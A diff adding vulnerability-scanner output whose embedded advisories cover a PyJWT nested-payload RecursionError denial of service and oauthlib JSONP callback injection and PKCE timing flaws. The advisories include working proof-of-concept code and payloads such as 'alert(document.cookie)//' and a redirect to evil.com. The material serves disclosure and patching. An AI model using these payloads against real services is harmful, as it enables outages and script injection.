`RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.", + "id": "GHSA-42vr-xj54-vc7v", + "modified": "2026-09-30T16:00:09.812873551Z", + "published": "2026-09-30T15:41:05Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101918" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /baseline.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 22.56042ms elapsed, 22.56053ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.json new file mode 100644 index 000000000..a11604a8f --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.json @@ -0,0 +1,351 @@ +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + }, + { + "package": { + "name": "pyjwt", + "version": "2.14.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-42vr-xj54-vc7v" + ], + "aliases": [ + "CVE-2026-101918", + "GHSA-42vr-xj54-vc7v" + ], + "max_severity": "5.3" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 2.14.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-42vr-xj54-vc7v/GHSA-42vr-xj54-vc7v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.0.0a1" + }, + { + "fixed": "2.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.14.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-101918" + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:41:05Z", + "nvd_published_at": "2026-09-28T21:17:13Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON 